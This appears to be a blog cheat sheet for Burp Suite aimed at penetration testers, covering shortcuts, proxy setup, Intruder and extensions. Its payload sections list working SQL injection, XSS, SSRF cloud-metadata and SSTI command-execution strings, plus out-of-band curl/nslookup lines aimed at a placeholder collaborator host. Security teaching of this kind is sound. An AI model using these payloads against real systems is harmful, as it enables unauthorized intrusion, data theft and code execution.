Burp Suite Master Cheat Sheet
The Ultimate 2026 Reference for Penetration Testers
Thank you for reading this post, don't forget to subscribe!Keyboard Shortcuts & Hotkeys
Speed is everything. Memorize these to navigate Burp without touching the mouse.
Navigation
| Windows / Linux | Mac | Action |
|---|---|---|
| Ctrl + Shift + D | Cmd + Shift + D | Switch to Dashboard |
| Ctrl + Shift + T | Cmd + Shift + T | Switch to Target |
| Ctrl + Shift + P | Cmd + Shift + P | Switch to Proxy |
| Ctrl + Shift + I | Cmd + Shift + I | Switch to Intruder |
| Ctrl + Shift + R | Cmd + Shift + R | Switch to Repeater |
Action Shortcuts
| Shortcut | Action | Context |
|---|---|---|
| Ctrl + R | Send to Repeater | Anywhere |
| Ctrl + I | Send to Intruder | Anywhere |
| Ctrl + U | URL Encode | Editor Selection |
| Ctrl + Shift + U | URL Decode | Editor Selection |
| Ctrl + Space | Send Request | Repeater |
| Ctrl + F | Forward Request | Proxy Intercept |
| Ctrl + D | Drop Request | Proxy Intercept |
| Ctrl + = | Next Tab | Repeater |
Proxy & Setup Configuration
Invisible Proxying (Thick Client)
Used when the client is not browser-based and doesn’t support proxy settings.
Config Steps
1. Proxy > Options > Add Listener 2. Bind to port (e.g., 8080) 3. Request Handling > Support invisible proxying (check) 4. Update hosts file to point target domain to 127.0.0.1
Match and Replace (Auto-Modification)
Automatically modify traffic on the fly.
| Goal | Regex Match | Replace With |
|---|---|---|
| Change User-Agent (Mobile) | ^User-Agent.*$ | User-Agent: iPhone |
| Bypass WAF (Simple) | ^Host.*$ | Host: 127.0.0.1 |
| Remove HSTS | Strict-Transport-Security.* | (leave empty) |
| Add Custom Header | (empty) | X-Custom-Header: value |
Intruder Mastery
Attack Types Explained
- Sniper: Single payload set. One payload per position, one at a time. (Best for fuzzing specific parameters).
- Battering Ram: Single payload set. Same payload in ALL positions at once. (Best for testing user consistency).
- Pitchfork: Multiple payload sets. Iterates simultaneously. (Best for Username/Password lists).
- Cluster Bomb: Multiple payload sets. Every combination. (Best for Brute Force).
Useful Grep – Match Settings
Flag specific responses in the results table.
Grep Match Strings
error exception illegal invalid admin root "success":true 200 OK
Grep – Extract
Extract data from responses (e.g., CSRF tokens) to use in subsequent attacks.
Go to: Options > Grep – Extract > Add > Select text in response to extract.
Repeater & WebSocket
Repeater Tabs
- Rename Tabs: Double-click header.
- Group Tabs: Right-click tab > Add to group (Keep organized!).
- Search History: Use
<and>arrows to view previous states of the same tab.
WebSocket Testing
Burp supports intercepting and modifying WebSocket messages.
WebSocket Manipulations
1. Intercept handshake (Upgrade: websocket header) 2. Send to Repeater 3. Modify JSON payloads inside WebSocket frame 4. Check for Cross-Site WebSocket Hijacking (CSWSH) via Origin header
Top Payloads 2026
SQL Injection (Generic)
SQLi
' OR 1=1 -- ' UNION SELECT NULL, version(), NULL -- admin' -- ' AND (SELECT 5151 FROM (SELECT(SLEEP(5)))tImc) --
XSS (Polyglot)
XSS Polyglot
javascript://%250Aalert(1)//"/*\'/*/'/*--</script><img/src/onerror=alert(1)>
SSRF (Cloud Metadata)
SSRF AWS/GCP/Azure
http://169.254.169.254/latest/meta-data/ http://metadata.google.internal/computeMetadata/v1/ http://169.254.169.254/metadata/instance?api-version=2021-02-01 http://[::ffff:a9fe:a9fe]/
SSTI (Server-Side Template Injection)
SSTI
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Regex for Burp (Search & Replace)
Use these in the search bar or Proxy “Match and Replace” rules.
| Pattern | Description |
|---|---|
^Set-Cookie:.*$ | Matches any Set-Cookie header. |
[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+ | Matches Email addresses. |
(eyJ[a-zA-Z0-9_-]+)\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+ | Matches JWT Tokens. |
<!--(.*?)--> | Matches HTML Comments. |
api_key|apikey|secret|token | Quick search for secrets in responses. |
Essential BApp Store Extensions (2026)
Install these from the Extender tab to supercharge Burp.
Must-Haves
1. Turbo Intruder (High-speed brute force) 2. Logger++ (Better logging than default) 3. Autorize (Automated IDOR detection) 4. Active Scan++ (Adds more checks to scanner) 5. JSON Web Tokens (JWT Editor & Attacker) 6. Param Miner (Find hidden headers/params) 7. 403 Bypasser (Automated bypass techniques) 8. Retire.js (Vulnerable JS libraries)
Burp Collaborator (OAST)
Out-of-Band Application Security Testing is crucial for blind vulnerabilities.
Quick Usage
- Go to Collaborator tab.
- Click “Copy to clipboard” to get a payload (e.g.,
x.oastify.com). - Inject payload into headers/params (e.g.,
Referer: http://x.oastify.com). - Check “Poll now” to see if the server pinged you back.
Payloads to trigger OOB
OOB Payloads
<img src=http://COLLABORATOR_URL> curl http://COLLABORATOR_URL nslookup COLLABORATOR_URL ping -c 1 COLLABORATOR_URL
